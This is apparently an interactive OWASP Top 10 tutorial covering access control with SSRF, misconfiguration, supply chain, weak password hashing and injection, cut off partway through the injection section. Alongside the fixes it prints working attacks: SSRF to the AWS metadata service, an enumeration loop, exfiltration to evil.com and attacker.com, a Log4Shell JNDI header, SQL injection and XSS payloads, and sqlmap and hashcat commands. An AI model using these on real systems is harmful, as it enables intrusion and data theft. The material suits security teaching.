A01

Broken Access Control

Users can act outside their intended permissions — viewing other users' data, modifying records they shouldn't touch, escalating privileges or forcing the server to make requests on their behalf via Server-Side Request Forgery (SSRF), now included in this category.

Critical Severity Highest # of mapped CWEs (Common Weakness Enumeration) Includes SSRF (new in 2025) ◆ Still #1
Step 1

The Normal Flow

A user views their own profile. Everything looks fine on the surface.

https://example.com/api/users/123/profile
AS

Alice Smith

alice.smith@email.com

Role: User

User ID: 123

Network Console Sources
NameStatusTypeSize
GET /api/users/123/profile 200 json 284 B
{
  "id": 123,
  "name": "Alice Smith",
  "email": "alice.smith@email.com",
  "role": "user",
  "ssn": "***-**-7890",
  "billing": { "card_last4": "4242" }
}
Step 2

The Vulnerable Code

The API endpoint serves user data based on the URL parameter — but never checks who is asking.

routes/users.js Node.js / Express
// GET /api/users/:id/profile
app.get('/api/users/:id/profile', async (req, res) => {
  // ❌ No check: does the logged-in user own this profile?
  // ❌ No check: is req.params.id === req.session.userId?

  const user = await db.query(
    'SELECT * FROM users WHERE id = $1',
    [req.params.id]
  );

  // ❌ Returns ALL fields including sensitive data
  res.json(user);
});
routes/preview.js SSRF — Server-Side Request Forgery
// POST /api/preview-url — generates a link preview
app.post('/api/preview-url', async (req, res) => {
  const { url } = req.body;

  // ❌ Fetches ANY user-supplied URL from the server
  // ❌ No allowlist, no validation, no blocked ranges
  const response = await fetch(url);
  const html = await response.text();

  const title = extractTitle(html);
  const image = extractOGImage(html);
  res.json({ title, image });
});

// An attacker can pass internal URLs:
// url = "http://169.254.169.254/latest/meta-data/iam/"
// url = "http://internal-admin-panel:8080/users"
// url = "http://localhost:6379/CONFIG"  (Redis)
What's wrong here (IDOR — Insecure Direct Object Reference):
  • The route accepts any user ID in the URL parameter
  • There's no authorisation check — it never verifies the requester owns this profile
  • It returns all database fields including SSN (Social Security Number), billing info, etc.
  • The only "security" is obscurity — hoping users won't guess other IDs
New in 2025 — SSRF included here:
  • SSRF was previously its own category (A10:2021)
  • Now merged into Broken Access Control — it's the server being tricked into accessing resources it shouldn't
  • Same root cause: insufficient validation of what a request can access
  • Particularly dangerous in cloud environments (Amazon Web Services (AWS) metadata endpoints, internal services)
This is called IDOR (Insecure Direct Object Reference) — the most common form of broken access control. The object (user record) is referenced directly by its ID with no access check.
Step 3

The Attack

The attacker notices the user ID in the URL and simply changes it. No special tools needed — just Chrome DevTools.

Network Console
> fetch('/api/users/456/profile').then(r=>r.json()).then(console.log)
▶ {
  id: 456,
  name: "Bob Johnson",        ← Not our account!
  email: "bob.j@company.com",
  role: "admin",              ← Admin user exposed
  ssn: "123-45-6789",         ← PII (Personally Identifiable Information) leaked
  billing: { card_last4: "1337", exp: "03/27" }
}
↑ The attacker simply changed 123 → 456 in the URL. The server happily returned another user's full record.
Console
> fetch('/api/preview-url', { method: 'POST', headers: {'Content-Type':'application/json'}, body: JSON.stringify({url: 'http://169.254.169.254/latest/meta-data/iam/security-credentials/'}) }).then(r=>r.json()).then(console.log)
▶ {
  "title": "aws-role-name",
  "content": {
    "AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
    "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG...",
    "Token": "FwoGZXIvYXdzEBYaDH...",
    "Expiration": "2025-06-20T02:30:00Z"
  }
}
↑ The server fetched the AWS metadata endpoint on behalf of the attacker. They now have temporary AWS credentials with whatever permissions that role has.
Enumerate all users (attacker script)
# Scrape every user profile in seconds
for id in $(seq 1 10000); do
  curl -s "https://example.com/api/users/${id}/profile" \
    -H "Cookie: session=attacker_session" >> dump.json
  echo "" >> dump.json
done

# Result: 10,000 user records with PII, roles, billing info
# Total time: ~3 minutes
# Tools required: curl + a for loop
Scale of damage: A single broken access control endpoint + sequential IDs = full database enumeration. This is exactly how many real breaches happen.
Step 4

The Impact

What the attacker now has — and what it means for the business.

users table — All records exposed
idnameemailrolessncard
1Admin Rootadmin@example.comsuper_admin001-23-45679999
2Jane CTOjane@example.comadmin234-56-78905555
123Alice Smithalice@email.comuser987-65-43214242
456Bob Johnsonbob.j@company.comadmin123-45-67891337
457Carol Williamscarol@email.comuser345-67-89018888
... 9,995 more rows ...
Row 123 (highlighted) is Alice — the attacker's own account. Everything else was accessed without authorisation.

What happens once this data reaches someone who shouldn't have it.

Identity Theft

SSNs + names + emails = everything needed for identity fraud

Cloud Takeover (SSRF)

Stolen cloud credentials → full account compromise on AWS, GCP (Google Cloud Platform) or Azure

Regulatory Fines

GDPR (General Data Protection Regulation): up to €20M or 4% of global revenue

Reputation Damage

Breach disclosure → lost customers → stock drop

!
Optus / Singtel (2022) — Unauthenticated API

An internet-facing API reportedly required no authentication and returned customer records for any ID requested — an insider's account that Optus itself disputed, calling it a more sophisticated attack instead. Roughly 9.8 million people's data was scraped from Optus, which is majority-owned by Singapore's Singtel.

Source: Wikipedia

!
T-Mobile (2023) — Unthrottled Account API

An attacker queried a single API for over a month before detection, with no effective rate limiting or ownership checks. About 37 million customer accounts were exposed.

Source: Krebs on Security

!
USPS (2018) — "Informed Visibility" IDOR

Any logged-in user could query any other user's account by changing an ID in the request — no ownership check at all. Around 60 million accounts were affected.

Source: Krebs on Security

Step 5

The Fix

Proper access control — deny by default, verify ownership, minimise data exposure, validate URLs server-side.

routes/users.js SECURED
// Middleware: verify authentication first
app.get('/api/users/:id/profile',
  authenticateToken,  // ✅ Must be logged in
  async (req, res) => {

  // ✅ Check: does the requester own this resource?
  if (req.params.id !== req.user.id && req.user.role !== 'admin') {
    return res.status(403).json({ error: 'Forbidden' });
  }

  const user = await db.query(
    'SELECT id, name, email, role FROM users WHERE id = $1',
    //     ↑ ✅ Only select needed fields (no SSN, no billing)
    [req.params.id]
  );

  // ✅ Return only the DTO (Data Transfer Object) — never the raw DB row
  res.json({
    id: user.id,
    name: user.name,
    email: user.email,
  });
});
routes/preview.js SECURED
const { URL } = require('url');
const dns = require('dns').promises;

// ✅ Allowlist of permitted domains for URL preview
const ALLOWED_DOMAINS = ['github.com', 'twitter.com', 'youtube.com'];

// ✅ Block private/internal IP ranges
function isPrivateIP(ip) {
  return /^(10\.|172\.(1[6-9]|2\d|3[01])\.|192\.168\.|127\.|169\.254\.|0\.)/.test(ip);
}

app.post('/api/preview-url', authenticateToken, async (req, res) => {
  const { url } = req.body;

  // ✅ Parse and validate URL structure
  let parsed;
  try { parsed = new URL(url); } catch { return res.status(400).json({ error: 'Invalid URL' }); }

  // ✅ Only allow HTTPS
  if (parsed.protocol !== 'https:') return res.status(400).json({ error: 'HTTPS only' });

  // ✅ Check domain allowlist
  if (!ALLOWED_DOMAINS.includes(parsed.hostname)) {
    return res.status(403).json({ error: 'Domain not allowed' });
  }

  // ✅ DNS resolution check — block private IPs (anti-rebinding)
  const { address } = await dns.lookup(parsed.hostname);
  if (isPrivateIP(address)) return res.status(403).json({ error: 'Blocked' });

  const response = await fetch(url, { redirect: 'error' }); // ✅ No redirects
  // ... process response safely
});
1
Deny by default

Every route is protected unless explicitly made public. Use middleware.

2
Verify ownership on every request

Never trust the URL parameter alone. Always compare with the authenticated session.

3
Minimise data exposure

Select only the fields you need. Use DTOs/view models. Never return SELECT *.

4
Use non-sequential identifiers

UUIDs (Universally Unique Identifiers, e.g., f47ac10b-58cc...) are harder to enumerate than 1, 2, 3...

5
Validate all server-side requests (SSRF)

Allowlist domains, block private IPs, disable redirects, use an egress proxy for outbound fetches.

6
Log access control failures

Alert on repeated 403s from the same session — it's likely an enumeration attempt.

Step 1 of 5
A02

Security Misconfiguration

Every tested application showed some form of misconfiguration. Default credentials, verbose error messages, unnecessary services, open cloud storage, missing security headers and exposed admin panels.

Critical Severity 719,000+ CWE (Common Weakness Enumeration) occurrences 100% of apps affected ▲ Up from #5
Step 1

The Normal-Looking App

Everything seems fine to end users. But under the surface, the deployment is wide open.

https://app.example.com/dashboard

Dashboard

Welcome back, user. Everything looks normal here.

Revenue: $142K
Users: 8,421
Orders: 1,205
Network → Response Headers
HTTP/1.1 200 OK
Server: Apache/2.4.49 (Ubuntu)          ← ❌ Reveals exact version (CVE-2021-41773 — a Common Vulnerabilities and Exposures ID)
X-Powered-By: Express 4.17.1             ← ❌ Framework version leaked
Access-Control-Allow-Origin: *            ← ❌ Any origin can read responses
Content-Type: text/html; charset=utf-8
                                              ← ❌ Missing: Strict-Transport-Security
                                              ← ❌ Missing: Content-Security-Policy
                                              ← ❌ Missing: X-Frame-Options
                                              ← ❌ Missing: X-Content-Type-Options
Step 2

The Misconfigurations

Default settings left in production, sample apps still deployed, admin panels exposed, error messages revealing internals.

Common default credentials in production
# These are found on production servers DAILY by scanners

Admin Panel:     admin / admin
Database:        postgres / postgres
Redis:           (no password)
Elasticsearch:   (no authentication)
Jenkins:         admin / admin
Grafana:         admin / admin
phpMyAdmin:      root / (empty)
Spring Actuator: (open /actuator/env)

# Also left in production:
/phpmyadmin/           ← Database GUI, no auth
/server-status         ← Apache status page
/.env                  ← Environment variables with secrets
/debug/                ← Debug toolbar still enabled
https://app.example.com/api/user?id=abc

Internal Server Error

TypeError: Cannot read property 'name' of null
    at /app/src/controllers/userController.js:47:23
    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)

Environment: production
Node: v18.17.0
Database: PostgreSQL 14.2 @ db-prod-1.internal:5432
Connection string: postgres://app_user:Pr0d_P@ss!@db-prod-1.internal/maindb
This error message reveals: file paths, database type & version, internal hostname and the full connection string with credentials.
Misconfigured Amazon S3 (Simple Storage Service) Bucket
# Attacker guesses common bucket naming patterns
$ aws s3 ls s3://company-backups --no-sign-request

2025-06-01 04:00:01   4.2 GB  database-backup-2025-06-01.sql.gz
2025-06-01 04:00:03   128 MB  user-uploads/
2025-06-01 04:00:05   2.1 MB  .env.production
2025-06-01 04:00:05   890 KB  ssl-certificates/

# Download everything — no credentials needed
$ aws s3 sync s3://company-backups ./stolen/ --no-sign-request
download: s3://company-backups/database-backup-2025-06-01.sql.gz

# Bucket policy was left as:
{
  "Effect": "Allow",
  "Principal": "*",        ← Anyone on the internet
  "Action": "s3:GetObject",
  "Resource": "arn:aws:s3:::company-backups/*"
}
Step 3

The Attack

Attackers use automated scanners and simple discovery techniques to find misconfigurations. No exploitation needed — the doors are already open.

Directory & Path Enumeration
# Dirsearch — find hidden/forgotten paths in seconds
$ dirsearch -u https://app.example.com -w common.txt

[200] /robots.txt
[200] /.env                     ← SECRETS EXPOSED
[200] /phpmyadmin/              ← DB ADMIN PANEL
[200] /server-status            ← SERVER INFO
[200] /actuator/env             ← SPRING BOOT INTERNALS
[200] /graphql                  ← INTROSPECTION ENABLED
[200] /api/swagger-ui.html      ← FULL API DOCS
[403] /admin                    ← exists but blocked (try harder)

# .env file contents:
$ curl https://app.example.com/.env
DATABASE_URL=postgres://app_user:Pr0d_P@ss!@db-prod-1.internal/maindb
JWT_SECRET=super_secret_key_123
STRIPE_SECRET_KEY=sk_live_MOCK_STRIPE_KEY_DO_NOT_USE
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
Console
> // Check what CORS (Cross-Origin Resource Sharing) allows
> fetch('https://app.example.com/api/me', {credentials:'include'}).then(r=>console.log(r.headers.get('access-control-allow-origin')))
"*"   ← Any website can make authenticated requests!
> // From attacker's evil site: steal user data cross-origin
> fetch('https://app.example.com/api/me',{credentials:'include'}).then(r=>r.json()).then(d=>fetch('https://evil.com/steal?data='+btoa(JSON.stringify(d))))
↑ With Access-Control-Allow-Origin: *, any website the user visits can silently read data from your API using their session.
Nuclei — Automated Misconfiguration Scanner
# Nuclei runs thousands of misconfig checks in minutes
$ nuclei -u https://app.example.com -t misconfiguration/

[critical] exposed-env-file    https://app.example.com/.env
[high]     open-redirect       https://app.example.com/redirect?url=
[high]     cors-misconfiguration https://app.example.com/api/
[medium]   missing-csp-header  https://app.example.com/
[medium]   missing-hsts        https://app.example.com/
[info]     tech-detect         Apache/2.4.49 · Express 4.17.1 · PostgreSQL

# Shodan query to find exposed instances:
# "X-Powered-By: Express" "admin" port:3000 country:US
# → Returns thousands of exposed Express apps with admin panels
Step 4

The Impact

Misconfigurations are the easiest wins for attackers — no "hacking" required, just reading what's already exposed.

None of this required exploiting a bug — just reading what was already exposed.

Secret Keys Exposed

.env files with API keys, JWT (JSON Web Token) secrets, database credentials in plain text

Database Access

Exposed phpMyAdmin, open Elasticsearch, Redis with no auth

Cloud Storage Dump

Public S3 buckets with backups, user data, certificates

Attack Surface Info

Stack traces, versions, internal hostnames → precise exploit selection

!
Capital One (2019) — S3 Misconfiguration

Misconfigured WAF (Web Application Firewall) + SSRF allowed access to AWS metadata → 106 million customer records exposed. $80M fine.

Source: Wikipedia

!
Microsoft Power Apps (2021) — Default Open Permissions

OData APIs defaulted to public. 38 million records from 47 organisations exposed including COVID contact tracing data.

Source: UpGuard

!
Twitch (2021) — Exposed Git Server

Misconfigured server allowed full source code download — 128GB including payout data and internal tools.

Source: Wikipedia

!
Facebook/Meta (2019) — Unsecured S3 Buckets

Third-party app datasets left on publicly accessible Amazon S3 (Simple Storage Service) storage with no password. Over 540 million records — comments, likes, account names — exposed for anyone to download.

Source: UpGuard

!
Razer (2020) — Unprotected Elasticsearch Server

The Singapore-founded gaming and fintech company left an Elasticsearch server with no password for about three weeks, exposing roughly 100,000 customers' order and shipping details.

Source: Wikipedia

!
SingHealth (2018) — Singapore's Largest Data Breach

An official inquiry found an unpatched front-end workstation and a database admin password that was only 8 characters and unchanged since 2012 let attackers sit undetected for months, exfiltrating 1.5 million patients' records including the Prime Minister's.

Source: Wikipedia

Step 5

The Fix

Automated, repeatable hardening — minimal installs, secure defaults, continuous verification.

middleware/security.js SECURED
const helmet = require('helmet');

// ✅ Helmet sets all security headers in one line
app.use(helmet());

// ✅ Strict CORS — only your frontend domain
app.use(cors({
  origin: 'https://app.example.com',
  credentials: true
}));

// ✅ Remove server identification
app.disable('x-powered-by');

// ✅ Production error handler — NEVER leak stack traces
app.use((err, req, res, next) => {
  console.error(err); // Log internally
  res.status(500).json({ error: 'Something went wrong' }); // Generic to user
});

// ✅ Disable directory listing
// In nginx: autoindex off;
// In Apache: Options -Indexes
1
Minimal platform

Remove sample apps, unused frameworks, default accounts. Install only what you need.

2
Change ALL default credentials

Database, admin panels, cloud consoles, CI/CD (Continuous Integration/Continuous Deployment) tools. Automate rotation.

3
Security headers on every response

Content-Security-Policy (CSP), Strict-Transport-Security (HSTS), X-Frame-Options, X-Content-Type-Options, Referrer-Policy. Use helmet or equivalent.

4
Restrict CORS (Cross-Origin Resource Sharing) to specific origins

Never Access-Control-Allow-Origin: * on authenticated endpoints.

5
Cloud storage: deny public by default

S3 Block Public Access at the account level. Use IAM (Identity and Access Management) policies, not bucket ACLs (Access Control Lists).

6
Environment parity

Dev, staging and production should have the same security config. Use IaC (Infrastructure as Code, e.g. Terraform, Pulumi).

CI/CD Security Checks
# .github/workflows/security.yml — run on every PR
name: Security Checks
on: [pull_request]
jobs:
  misconfig-scan:
    runs-on: ubuntu-latest
    steps:
      # ✅ Check for secrets in code
      - uses: trufflesecurity/trufflehog@main

      # ✅ Scan Dockerfiles & IaC for misconfigs
      - run: trivy config . --severity HIGH,CRITICAL

      # ✅ Check security headers in staging
      - run: |
          npx check-headers https://staging.example.com \
            --required "strict-transport-security,content-security-policy"

      # ✅ Verify no .env files are accessible
      - run: |
          STATUS=$(curl -s -o /dev/null -w "%{http_code}" https://staging.example.com/.env)
          if [ "$STATUS" != "404" ]; then exit 1; fi
Step 1 of 5
A03

Software Supply Chain Failures

Broader than just "vulnerable components" — covers build pipelines, dependency confusion, compromised tooling, unsigned artifacts, unmaintained packages and transitive dependencies you never audited. Ranked #1 community concern.

Critical Severity 215,000+ occurrences 5.19% incidence rate (highest) ▲ Expanded from A06:2021
Step 1

The Normal Flow

A developer installs packages, builds the app and ships it. The supply chain is invisible — hundreds of dependencies pulled in silently.

Developer's Terminal
$ npm install express

added 62 packages in 2.1s

$ npm install next react react-dom

added 247 packages in 8.4s

# Your package.json lists 5 dependencies.
# Your node_modules/ contains 847 packages.
# You've audited maybe... 5 of them.

$ wc -l package-lock.json
38,947 package-lock.json

# Each of those 847 packages was written by a stranger,
# maintained (or abandoned) by a stranger,
# and published to a registry you trust implicitly.

Every node below is code you're trusting, whether you reviewed it or not.

your-app 5 direct deps
express → 30 transitive
next → 180 transitive
lodash → 0 transitive
some-util → 12 transitive Contains vulnerable sub-dep
react → 4 transitive
Total: 847 packages. You chose 5. The other 842 were chosen for you by transitive dependencies. Any one of them could be compromised.
Step 2

The Vulnerability Surface

Multiple attack vectors: known CVEs, typosquatting, dependency confusion, compromised maintainers and poisoned build pipelines.

npm audit output
$ npm audit

found 12 vulnerabilities (3 low, 5 moderate, 3 high, 1 critical)

┌───────────────┬──────────────────────────────────────────────────┐
│ Critical      │ Remote Code Execution in log4j-core              │
├───────────────┼──────────────────────────────────────────────────┤
│ Package       │ log4j-core                                       │
│ Version       │ 2.14.1                                           │
│ Path          │ your-app > some-java-bridge > log4j-core         │
│ More info     │ https://nvd.nist.gov/vuln/detail/CVE-2021-44228  │
└───────────────┴──────────────────────────────────────────────────┘

# The vulnerable package is a TRANSITIVE dependency.
# You never installed it directly.
# You might not even know it's there.

# Meanwhile, the direct parent package "some-java-bridge":
# - Last published: 3 years ago
# - Open issues: 247
# - Maintainer: 1 person (inactive)
Typosquatting / Dependency Confusion:

Attackers publish packages with names similar to popular ones, or use your internal package names on public registries:

Malicious package names found in the wild
Real PackageMalicious CloneAttack Type
colorscolourTyposquat
lodashlodahsTyposquat
@company/utilscompany-utilsDependency confusion
typescripttypesciptTyposquat
cross-envcrossenvTyposquat (stole env vars)
What a malicious package does (simplified)
// postinstall.js — runs automatically on npm install
const os = require('os');
const https = require('https');

// Steal environment variables (API keys, tokens, secrets)
const data = JSON.stringify({
  env: process.env,          // All secrets in env vars
  hostname: os.hostname(),
  user: os.userInfo(),
  cwd: process.cwd()
});

https.request('https://attacker.com/collect', { method: 'POST' },
  () => {}).end(data);
CI/CD Pipeline Poisoning:

Attackers compromise the build system itself — injecting malicious code after your source code passes review but before the artifact reaches production.

Source Code
Clean
→
Code Review
Approved
→
Build Server
COMPROMISED
→
Artifact
INFECTED
→
Production
COMPROMISED
SolarWinds (2020): Attackers spent months inside the build system, injecting a backdoor into signed updates. 18,000 organisations (including US government agencies) installed the compromised update because they trusted the publisher's signature.
Step 3

The Attack

Exploiting a known CVE in a dependency — the attacker doesn't need to find a new bug, just check your lock file.

Log4Shell (CVE-2021-44228) — Exploitation
# Step 1: Attacker sends a crafted string anywhere the app logs input
$ curl 'https://target.com/api/login' \
  -H 'User-Agent: ${jndi:ldap://attacker.com:1389/exploit}'

# Step 2: Log4j parses the string, resolves the JNDI (Java Naming and Directory Interface) lookup
# Step 3: Server connects to attacker's LDAP (Lightweight Directory Access Protocol) server
# Step 4: Attacker serves a malicious Java class
# Step 5: Server executes it → REMOTE CODE EXECUTION

# The User-Agent header was just logged — that's all it takes.
# Any logged field works: search queries, form fields, headers.

# On attacker's machine:
$ nc -lvnp 4444
Connection from 52.14.xx.xx:49832
$ whoami
root
$ cat /etc/shadow
...
Reconnaissance
Attackers check your dependencies:
  • Public repos often have package-lock.json or yarn.lock committed
  • Error pages may reveal framework versions
  • Response headers leak X-Powered-By
  • JavaScript source maps expose bundle contents
# Attacker checks your public GitHub repo:
$ curl https://raw.githubusercontent.com/company/app/main/package-lock.json | jq '.dependencies["log4j-core"].version'
"2.14.1" ← Known vulnerable. Exploit ready.
Step 4

The Impact

Supply chain attacks scale massively — one compromised package or build affects every downstream consumer.

One compromised dependency rarely stays contained to a single app.

18,000 Organisations hit by SolarWinds (1 build compromise)
$1.5B Stolen via Bybit supply chain attack (2025)
3M+ Servers affected by Log4Shell within 72 hours
847 Avg. packages in a typical Node.js app you haven't audited
!
SolarWinds Orion (2020)

A Russian APT (Advanced Persistent Threat) group compromised the build pipeline. Backdoor inserted into signed updates → 18,000 organisations compromised including US Treasury and DHS.

Source: Wikipedia

!
Bybit (2025)

Supply chain attack targeting cryptocurrency exchange infrastructure. $1.5B stolen — one of the largest thefts in history.

Source: Wikipedia

!
event-stream (2018)

Maintainer handed off a popular npm package to a stranger. New maintainer added code to steal Bitcoin wallets. Millions of weekly downloads affected.

Sources: GitHub issue, GitHub Advisory

!
Codecov (2021)

Attackers modified the Bash Uploader script in CI. Hundreds of companies leaked credentials from their CI/CD environments for 2 months undetected.

!
British Airways (2018) — Magecart Script Injection

Attackers compromised a third-party JavaScript library loaded on the payment page, skimming card details directly in customers' browsers — BA's initial estimate was 380,000, though the ICO's final finding put it at over 400,000. Resulted in a record £20M ICO fine.

Sources: Wikipedia, BBC

!
Kaseya VSA (2021) — MSP Ransomware Cascade

The REvil ransomware group exploited Kaseya's remote-management software, pushing ransomware through Managed Service Providers to an estimated 1,500 downstream businesses in a single weekend.

Sources: Wikipedia, Krebs on Security

!
XZ Utils (2024) — The Backdoored Maintainer

A contributor spent years building trust to become co-maintainer of a core Linux compression library, then inserted a sophisticated backdoor into its build process — caught by a Microsoft engineer just before it reached major Linux distributions.

Sources: original disclosure, Wikipedia

Step 5

The Fix

Inventory, verify, monitor and harden — your supply chain is only as strong as its weakest link.

1
Maintain an SBOM (Software Bill of Materials)

Know exactly what's in your app. Track all direct AND transitive dependencies. Update continuously.

2
Pin versions & use lock files

Never use ^ or * in production deps. Commit lock files. Verify integrity hashes.

3
Automated vulnerability scanning

Run npm audit, Dependabot, Snyk or Trivy on every PR and on a schedule. Block merges on critical CVEs.

4
Harden CI/CD pipelines

Separation of duties, signed commits, immutable build artifacts, MFA (Multi-Factor Authentication) on repos and build servers, least-privilege service accounts.

5
Remove unused dependencies

Audit regularly. Every unused package is attack surface you don't need. Use depcheck or knip.

6
Verify provenance & signatures

Use npm provenance, Sigstore or the SLSA (Supply-chain Levels for Software Artifacts) framework to verify packages were built from the claimed source code.

Supply Chain Security Tooling
ToolPurposeStage
Dependabot / RenovateAuto-update deps with PRsDev
npm audit / yarn auditKnown CVE scanningCI
Snyk / TrivyDeep SCA (Software Composition Analysis) + container scanningCI/CD
Socket.devDetect suspicious package behaviourPR Review
Sigstore / cosignSign & verify artifactsBuild/Deploy
SLSA FrameworkSupply chain integrity levelsArchitecture
depcheck / knipFind unused dependenciesDev
TruffleHogFind leaked secrets in reposCI
.npmrc — Registry lockdown SECURED
# ✅ Use exact versions only (no ^ or ~)
save-exact=true

# ✅ Refuse to install if lock file would change
lockfile-version=3

# ✅ Block postinstall scripts from untrusted packages
ignore-scripts=true

# ✅ Scope internal packages to private registry
@company:registry=https://npm.internal.company.com/

# ✅ Require provenance attestation
audit=true
fund=false
package.json — Security additions
{
  "scripts": {
    "preinstall": "npx only-allow npm",   // ✅ Enforce package manager
    "audit": "npm audit --audit-level=high",
    "deps:check": "npx depcheck",
    "deps:license": "npx license-checker --failOn 'GPL-3.0'"
  },
  "overrides": {
    "vulnerable-transitive-dep": ">=2.0.0"  // ✅ Force-patch transitive deps
  }
}
Step 1 of 5
A04

Cryptographic Failures

Sensitive data protected by weak, outdated or homegrown cryptography — which, offline, offers barely more protection than storing it in plain text.

Critical Severity 1.6M+ occurrences ▼ Down from #2
Step 1

The Normal Flow

A new user signs up and chooses a password.

https://example.com/signup
alice@email.com
••••••••••••
Create Account

Account created

Network Console
NameStatusTypeSize
POST /api/signup 201 json 64 B
{ "userId": 501, "created": true }
Step 2

The Vulnerable Code

The password is hashed — with an algorithm that was never designed to store passwords safely.

routes/signup.js Node.js / Express
// POST /api/signup
app.post('/api/signup', async (req, res) => {
  const { email, password } = req.body;

  // ❌ MD5 was designed for checksums, not passwords — it's fast, which is exactly wrong here
  // ❌ No salt — identical passwords produce identical hashes
  const passwordHash = crypto.createHash('md5').update(password).digest('hex');

  await db.query(
    'INSERT INTO users (email, password_hash) VALUES ($1, $2)',
    [email, passwordHash]
  );
  res.status(201).json({ userId: 501, created: true });
});
What's wrong here:
  • MD5 (and SHA-1) are fast general-purpose hash functions — great for checksums, terrible for passwords
  • No salt means two users with the password "password123" get the exact same hash
  • Fast, unsalted hashes are exactly what pre-computed rainbow tables are built for
Speed is the problem, not the strength of the algorithm. Password hashing needs to be deliberately slow so that checking billions of guesses becomes impractical.
Step 3

The Attack

An unsalted MD5 hash doesn't need to be cracked — it just needs to be looked up.

482c811da5d5b4bc6d497ffa98491e38
↓
Rainbow table lookup password123 0.003 seconds

This isn't cracking in any real sense — that exact hash has already been computed and published by someone else. It's a database lookup.

Offline cracking with hashcat
# Stolen database dump: 2 million email:hash pairs
$ hashcat -m 0 -a 0 stolen_hashes.txt common-passwords.txt

Hashes: 2,000,000 digests
Speed: 15,000 MH/s (MD5 on a single consumer GPU)
Recovered: 1,340,000 (67%) in under 4 minutes

# Compare: the same attack against properly salted bcrypt hashes
# Speed: ~30,000 H/s — roughly 500,000 times slower
Step 4

The Impact

A stolen list of hashes becomes a plaintext password list.

users table — hashes recovered to plaintext
emailpassword_hashrecovered password
alice@email.com482c811d...password123
bob@company.com25f9e794...123456
... 1.3 million more recovered rows ...
Most people reuse passwords across sites — a recovered password here is often a working password elsewhere.

These four consequences don't all land on the same target — some hit the breached company, others hit its users.

Credential Reuse Attacks

Recovered passwords get tried against banking, email and other unrelated accounts

Identity Theft

Combined with other leaked data, weak hashing turns a breach into full identity compromise

Regulatory Fines

Regulators treat weak password storage as a failure of "reasonable" security measures

Permanent Exposure

Unlike a session token, a password can't be revoked — it's often reused for years

!
Adobe (2013) — Weakly Encrypted Passwords

Around 150 million accounts were exposed with passwords encrypted rather than hashed, using a weak scheme — and password hints stored right alongside in plain text.

Source: Wikipedia

!
LinkedIn (2012) — Unsalted SHA-1

6.5 million password hashes were leaked using unsalted SHA-1. Most were cracked within days; the full scale — 117 million accounts — only came out years later.

Sources: Wikipedia, Krebs on Security

Step 5

The Fix

Use a slow, salted, purpose-built password hashing algorithm.

routes/signup.js SECURED
// ✅ bcrypt is slow by design and generates a unique salt automatically
const bcrypt = require('bcrypt');

app.post('/api/signup', async (req, res) => {
  const { email, password } = req.body;

  const passwordHash = await bcrypt.hash(password, 12);  // ✅ Cost factor 12

  await db.query(
    'INSERT INTO users (email, password_hash) VALUES ($1, $2)',
    [email, passwordHash]
  );
  res.status(201).json({ userId: 501, created: true });
});
Password hashing algorithms
AlgorithmDesigned forSafe for passwords?
MD5 / SHA-1ChecksumsNo
SHA-256 (unsalted)General hashingNo
bcryptPassword storageYes
Argon2Password storageYes (recommended)
The difference isn't strength against collisions — it's deliberate slowness against guessing.
1
Use bcrypt, scrypt or Argon2 for passwords

Never a general-purpose hash like MD5, SHA-1 or unsalted SHA-256.

2
Always use a unique salt per password

Modern libraries generate and store this automatically — never reuse a single salt across users.

3
Never invent your own cryptography

Homegrown encryption schemes almost always have subtle flaws that established libraries have already solved for.

4
Encrypt sensitive data at rest

Card numbers, ID numbers and similar fields need strong encryption with carefully managed keys.

5
Never store secrets in recoverable form

If your system can email a user their old password, it was never hashed properly in the first place.

Step 1 of 5
A05

Injection

Untrusted input treated as executable code instead of data — SQL, NoSQL, OS commands, LDAP and XSS (Cross-Site Scripting) all share the same root cause: the app can't tell where the query ends and the attacker's input begins.

Critical Severity Largest number of CVEs (Common Vulnerabilities and Exposures) ▼ Down from #3
Step 1

The Normal Flow

A user searches for a product by name.

https://example.com/search?q=headphones
Network Console
NameStatusTypeSize
GET /api/search?q=headphones 200 json 412 B
Step 2

The Vulnerable Code

User input is glued directly into a query string — and, separately, into the page HTML.

routes/search.js Node.js / Express
// GET /api/search?q=...
app.get('/api/search', async (req, res) => {
  const q = req.query.q;

  // ❌ User input pasted straight into the query string
  const results = await db.query(
    `SELECT * FROM products WHERE name LIKE '%${q}%'`
  );

  res.json(results);
});
ProductReview.jsx XSS — Cross-Site Scripting
// Renders a customer review submitted by another user
function Review({ review }) {
  // ❌ Renders raw HTML instead of escaped text
  return <div dangerouslySetInnerHTML={{ __html: review.text }} />;
}

// A review left by an attacker:
// review.text = "<script>fetch('https://evil.com/steal?c='+document.cookie)</script>"
What's wrong here:
  • The SQL query is built with string interpolation — user input becomes part of the query syntax
  • The review page renders HTML directly from user input, with no escaping or sanitisation
  • Neither input is validated against an allowlist of expected characters
The database and the browser can't tell the difference between "data" and "code" unless the application draws that line explicitly — with parameterised queries on the server and escaping on the client.
Step 3

The Attack

A single quote breaks out of the string. A script tag runs in someone else's browser.

Normal input: headphones

SELECT * FROM products WHERE name LIKE '%headphones%'

The query runs exactly as the developer intended.

Malicious input: ' OR '1'='1

SELECT * FROM products WHERE name LIKE '%' OR '1'='1%'

The quote closes the string early. OR '1'='1' makes the condition true for every row in the table.

' OR '1'='1 Returns every product — used to confirm the injection works
' UNION SELECT username, password, NULL FROM admins-- Pulls rows from a completely unrelated table
'; DROP TABLE products; -- Deletes the entire products table
Console (victim's browser)
> // The stored review renders this on every visitor's page:
> <script>fetch('https://evil.com/steal?c='+document.cookie)</script>
▶ Request sent to evil.com
  cookie: "sessionToken=sess_a1b2c3d4"
↑ Every visitor who views this product page — including logged-in staff — silently sends their session cookie to the attacker.
Automated SQL injection scan
# sqlmap and similar tools automate the whole process
$ sqlmap -u "https://example.com/api/search?q=headphones" \
    --dbs --batch

[INFO] parameter 'q' appears injectable
[INFO] the back-end DBMS is PostgreSQL
available databases:
  [*] production_db
  [*] admin_panel

# From here: --dump extracts entire tables automatically
# No manual UNION-crafting needed — the tool does it all
Step 4

The Impact

One unescaped string, and the entire database is on the table.

admins table — extracted via UNION SELECT
usernamepassword_hashrole
admin$2b$10$N9qo8u...super_admin
j.tan$2b$10$Kx3mP1...finance
... every other row in the table ...
The search box had no relationship to the admins table — the injection reached it anyway.

One injection flaw fans out into very different kinds of damage — technical, human and legal.

Full Database Dump

